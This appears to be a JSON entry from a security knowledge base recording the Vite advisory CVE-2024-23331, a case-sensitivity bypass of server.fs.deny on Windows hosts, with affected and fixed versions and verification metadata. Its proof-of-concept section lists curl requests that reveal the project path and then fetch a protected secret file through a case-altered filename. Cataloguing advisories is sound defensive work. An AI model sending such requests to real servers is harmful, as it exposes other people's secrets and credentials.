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websafe-kb/08-threat-intel/registry/advisories/vite--CVE-2024-23331.json

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{
"canonical_id": "vite--CVE-2024-23331",
"system_id": "vite",
"display_name": "Vite",
"category": "frameworks",
"advisory_mode": "core",
"title": "Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem",
"summary": "### Summary\n[Vite dev server option](https://vitejs.dev/config/server-options.html#server-fs-deny) `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.\n\nThis bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.\n\n### Patches\nFixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17\n\n### Details\nSince `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible. \n\nSee `picomatch` usage, where `nocase` is defaulted to `false`: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632\n\nBy requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files. \n\n### PoC\n**Setup**\n1. Created vanilla Vite project using `npm create vite@latest` on a Standard Azure hosted Windows 10 instance. \n - `npm run dev -- --host 0.0.0.0`\n - Publicly accessible for the time being here: http://20.12.242.81:5173/ \n2. Created dummy secret files, e.g. `custom.secret` and `production.pem`\n3. Populated `vite.config.js` with\n```javascript\nexport default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }\n```\n\n**Reproduction**\n1. `curl -s http://20.12.242.81:5173/@fs//`\n - Descriptive error page reveals absolute filesystem path to project root\n2. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js`\n - Discoverable configuration file reveals locations of secrets\n3. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT`\n - Secrets are directly accessible using case-augmented version of filename\n\n**Proof**\n![Screenshot 2024-01-19 022736](https://user-images.githubusercontent.com/907968/298020728-3a8d3c06-fcfd-4009-9182-e842f66a6ea5.png)\n\n### Impact\n**Who**\n- Users with exposed dev servers on environments with case-insensitive filesystems\n\n**What**\n- Files protected by `server.fs.deny` are both discoverable, and accessible",
"published_at": "2024-01-19T21:58:47Z",
"updated_at": "2026-02-04T04:17:01.410592Z",
"severity": "low",
"cvss_score": 3.1,
"exploit_status": "unknown",
"source_confidence": "official",
"official_source_url": "https://github.com/vitejs/vite/security/advisories/GHSA-c24v-8rfc-w8vw",
"secondary_source_urls": [
"https://nvd.nist.gov/vuln/detail/CVE-2023-34092",
"https://nvd.nist.gov/vuln/detail/CVE-2024-23331",
"https://github.com/vitejs/vite/commit/0cd769c279724cf27934b1270fbdd45d68217691",
"https://github.com/vitejs/vite/commit/91641c4da0a011d4c5352e88fc68389d4e1289a5",
"https://github.com/vitejs/vite/commit/a26c87d20f9af306b5ce3ff1648be7fa5146c278",
"https://github.com/vitejs/vite/commit/eeec23bbc9d476c54a3a6d36e78455867185a7cb",
"https://github.com/vitejs/vite",
"https://vitejs.dev/config/server-options.html#server-fs-deny"
],
"aliases": [
"CVE-2024-23331",
"GHSA-c24v-8rfc-w8vw"
],
"cve_ids": [
"CVE-2024-23331"
],
"ghsa_ids": [
"GHSA-c24v-8rfc-w8vw"
],
"osv_ids": [
"GHSA-c24v-8rfc-w8vw"
],
"affected_versions": [
"introduced=2.7.0, fixed<2.9.17",
"introduced=3.0.0, fixed<3.2.8",
"introduced=4.0.0, fixed<4.5.2",
"introduced=5.0.0, fixed<5.0.12"
],
"fixed_versions": [
"2.9.17",
"3.2.8",
"4.5.2",
"5.0.12"
],
"package_name": "vite",
"render_markdown": true,
"case_path": "07-framework-security/frameworks/vite/cases/vite-cve-2024-23331.md",
"secure_code_topics": [
"dependency-upgrade-policy",
"file-upload-validation",
"proxy-trust-boundary"
],
"status": "generated",
"triage_reasons": [],
"verification_status": "verified-real",
"verification_mode": "real",
"last_verified_at": "2026-03-18T04:04:52+00:00",
"last_run_id": "vite-vite--CVE-2024-23331-20260318040445",
"evidence_bundle": "/Users/x/websafe/06-case-studies/generated-runs/vite-vite--CVE-2024-23331-20260318040445",
"historical_status": "verified-real",
"latest_status": "verified-real",
"browser_evidence": {
"required": false,
"present": true,
"refs": [
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"/Users/x/websafe/06-case-studies/generated-runs/vite-vite--CVE-2024-23331-20260318040445/assets/proof.png",
"/Users/x/websafe/06-case-studies/generated-runs/vite-vite--CVE-2024-23331-20260318040445/assets/proof-dom.html",
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]
},
"repro_profile_id": "vite-proxy-boundary",
"artifact_mode": "local-fixture",
"blocked_reason": null,
"metadata": {
"source_names": [
"OSV Vite"
],
"source_kinds": [
"osv-batch"
],
"candidate_count": 1
}
}